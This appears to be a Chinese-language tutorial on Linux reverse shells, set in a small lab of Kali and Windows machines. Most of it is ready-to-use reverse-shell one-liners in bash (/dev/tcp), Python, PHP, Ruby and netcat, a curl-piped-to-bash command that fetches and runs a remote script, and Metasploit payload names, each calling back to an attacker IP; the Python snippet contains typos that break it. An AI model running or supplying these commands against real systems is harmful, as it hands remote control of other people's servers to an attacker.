Liunx反弹shell的几种方式
什么是反弹shell?
简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的web服务器:
http(https)://ip:80
,这是因为在服务器上面开启了80端口的监听,我们去访问它的时候,就会给我们建立连接。而现在所谓的反弹shell
指的是反过来在我们自己的公网vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,然后我们就能通过反弹的shell去远程控制服务器了。
实验环境
kali 192.168.1.16 kali 192.168.1.13
方法1:使用linux命令反弹shell
反弹shell命令格式如下:
bash -i >& /dev/tcp/ip/port 0>&1
先在要反弹回来shell的16上面 监听随便一个未开放的端口 且防火墙允许访问的
然后再被攻击机 13 上面执行命令
看见成功反弹shell
第二种思路 curl命令反弹shell 公网vps 放shell脚本
kali 192.168.1.16 kali 192.168.1.13
windows 192.168.1.12
第一步 公网vps上面放bash脚本
第二步 被攻击机 执行命令
curl 192.168.1.12/bash |bash
然后shell就反弹回来了
关于 反弹shell命令解析 看卿先生博客园(很细)
https://www.cnblogs.com/-qing-/p/11247720.html
python反弹shell
import socket,subprocess,os s=scoket.socket(socket.AF_INET,socke.SOCK_STREAM) //socket.AF_INET:。另一个地址家族AF_INET6用于第6版因特网协议(IPv6)寻址 SOCK_STREAM建立tcp链接 s.connect(("192.168.1.12",7111))#你要回shell的机子 os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
反弹shell
PHP反弹shell
<?php $sock=fsockopen("192.168.43.151",7777);//自己的外网ip,端口任意 exec("/bin/sh -i <&3 >&3 2>&3"); ?>
ruby反弹shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.43.151","7777");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
下面是直接用的msf反弹
java反弹
直接贴msf了
use payload/java/shell/reverse_tcp
lua反弹
use payload/cmd/unix/reverse_lua
NC反弹
nc -e /bin/bash 192.168.1.16 7111